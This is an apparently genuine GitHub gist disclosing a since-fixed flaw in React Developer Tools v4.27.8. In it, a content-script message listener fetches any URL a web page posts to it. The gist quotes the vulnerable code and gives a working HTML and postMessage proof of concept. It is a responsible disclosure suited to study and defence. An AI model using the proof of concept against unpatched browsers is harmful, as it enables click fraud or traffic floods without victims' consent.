Skip to content

Instantly share code, notes, and snippets.

@CalumHutton
Created October 10, 2023 10:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CalumHutton/1fb89b64409570a43f89d1fd3274b231 to your computer and use it in GitHub Desktop.
Save CalumHutton/1fb89b64409570a43f89d1fd3274b231 to your computer and use it in GitHub Desktop.
React Developer Tools v4.27.8 Arbitrary URL Fetch via Malicious Web Page

React Developer Tools v4.27.8 Arbitrary URL Fetch via Malicious Web Page

Disclosure Status

I have disclosed this to the maintainer, who issued a fix in version 4.28.4

Commits

https://github.com/facebook/react/commit/94d5b5b2bf5204ebd289a113989c0e2c51b626ef https://github.com/facebook/react/pull/27417/commits/c4db7be6b050fd36e3d7e1218d31d6b61f6b007d

Technical Details:

The React Developer Tools extension registers a message listener with window.addEventListener('message', <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim's browser.

Because the content of the response is not returned to the malicious webpage, the impact of this issue is limited, i.e, sensitive resources available only to the victim cannot be retrieved. However, this could be used to generate clicks, and therefore revenue, for malicious actors, or be used along with other browsers for a Distributed Denial of Service (DDoS) without the victims’ knowledge or consent.

The code snippet below (shortened for brevity) shows the message listener code from the Content Script extracting the URL from the potentially tainted message received, then using the arbitrary URL directly in a fetch call shortly after.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type === 'fetch-file-with-cache') {
        const url = data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response => {
            if (response.ok) {
              response
                .text()
                .then(text => resolve(text))
                .catch(error => reject(null));
            } else {
              reject(null);
            }
          },
          error => reject(null),
        );
      }
      break;
    ...

PoC

In the proof-of-concept React application below, the standard postMessage() API is used to send a crafted message to trigger the above switch statement when a button is clicked. Note the source attribute in the message is react-devtools-extension and the type is fetch-file-with-cache.

<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.google.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>

In reality, it’s likely that the malicious web page would automatically send messages to the extension without the need for user interaction.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment